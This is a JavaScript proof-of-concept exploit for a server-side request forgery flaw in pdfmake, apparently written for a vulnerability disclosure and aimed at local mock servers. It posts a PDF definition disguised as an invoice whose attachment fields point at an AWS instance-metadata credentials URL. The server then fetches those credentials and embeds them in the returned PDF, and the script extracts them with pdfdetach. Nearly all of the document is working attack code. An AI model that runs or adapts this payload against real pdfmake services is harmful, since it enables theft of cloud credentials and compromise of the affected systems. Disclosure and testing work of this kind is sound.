/** * SSRF Data Exfiltration PoC for pdfmake * * This PoC proves FULL READ SSRF (not just blind SSRF) * * Attack flow: * 1. Send docDefinition with attachments containing attacker-controlled URL * 2. pdfmake fetches URL via URLResolver → content stored in VFS * 3. Content gets embedded as PDF attachment * 4. Attacker downloads PDF → extracts attachment → GETS THE DATA * * This proves HIGH severity - not just "request made" but "data exfiltrated" */ import fs from 'fs'; import { execSync } from 'child_process'; const VULNERABLE_SERVER = 'http://127.0.0.1:3000'; const METADATA_SERVER = 'http://127.0.0.1:8888'; const METADATA_URL = `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`; // Attack payload - TWO STEPS: // 1. "attachments" triggers URL fetch via URLResolver → content stored in VFS // 2. "files" embeds content from VFS into PDF as attachment const exfiltrationPayload = { content: [ { text: 'Invoice #12345', style: 'header' }, { text: 'This is a legitimate-looking PDF document.' }, { text: 'Nothing suspicious here...', margin: [0, 20, 0, 0] } ], styles: { header: { fontSize: 18, bold: true } }, // Step 1: This triggers SSRF - URL is fetched and stored in virtual filesystem attachments: { 'aws_credentials': { src: METADATA_URL } }, // Step 2: This embeds the fetched content into PDF (reads from VFS using URL as key) files: { 'stolen_credentials': { src: METADATA_URL, // Same URL - reads from VFS where content was stored name: 'metadata.json' } } }; async function runExfiltrationAttack() { console.log(` ╔═══════════════════════════════════════════════════════════════════╗ ║ PDFMAKE SSRF - FULL DATA EXFILTRATION PROOF OF CONCEPT ║ ╠═══════════════════════════════════════════════════════════════════╣ ║ This proves the attacker can READ the response, not just SSRF ║ ║ Severity: HIGH (full read SSRF vs blind SSRF) ║ ╚═══════════════════════════════════════════════════════════════════╝ `); console.log('[1] Sending malicious docDefinition with attachment URL...'); console.log(' Payload uses "attachments" field with AWS metadata URL'); console.log(''); try { const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(exfiltrationPayload) }); if (!response.ok) { const error = await response.text(); console.log(`[-] Server error: ${error}`); console.log('[!] Note: Check if pdfmake version supports attachments'); return; } console.log('[2] PDF generated successfully!'); // Save the PDF const pdfBuffer = await response.arrayBuffer(); const outputPath = 'exfiltrated.pdf'; fs.writeFileSync(outputPath, Buffer.from(pdfBuffer)); console.log(`[3] Saved PDF to: ${outputPath}`); // Try to extract attachments console.log('[4] Extracting attachments from PDF...'); console.log(''); // Use pdfdetach (from poppler-utils) if available try { execSync(`pdfdetach -list ${outputPath} 2>/dev/null`, { encoding: 'utf8' }); console.log('[+] PDF contains attachments! Extracting...'); execSync(`pdfdetach -saveall ${outputPath} 2>/dev/null`); // Read extracted file if (fs.existsSync('metadata.json')) { const stolenData = fs.readFileSync('metadata.json', 'utf8'); console.log(''); console.log('╔═══════════════════════════════════════════════════════════════════╗'); console.log('║ EXFILTRATED DATA (PROOF OF FULL READ SSRF) ║'); console.log('╚═══════════════════════════════════════════════════════════════════╝'); console.log(stolenData); console.log(''); console.log('[+] SUCCESS: AWS credentials were embedded in PDF and extracted!'); console.log('[+] This proves FULL READ SSRF - attacker can access response data!'); } } catch (e) { console.log('[!] pdfdetach not found - install poppler-utils to extract'); console.log('[!] Or open exfiltrated.pdf and check attachments manually'); console.log(''); console.log(' macOS: brew install poppler'); console.log(' Linux: apt install poppler-utils'); } } catch (error) { console.log(`[-] Connection error: ${error.message}`); console.log('[!] Make sure both servers are running:'); console.log(' - node vulnerable-server.js (port 3000)'); console.log(' - node mock-metadata-server.js (port 8888)'); } } runExfiltrationAttack().catch(console.error);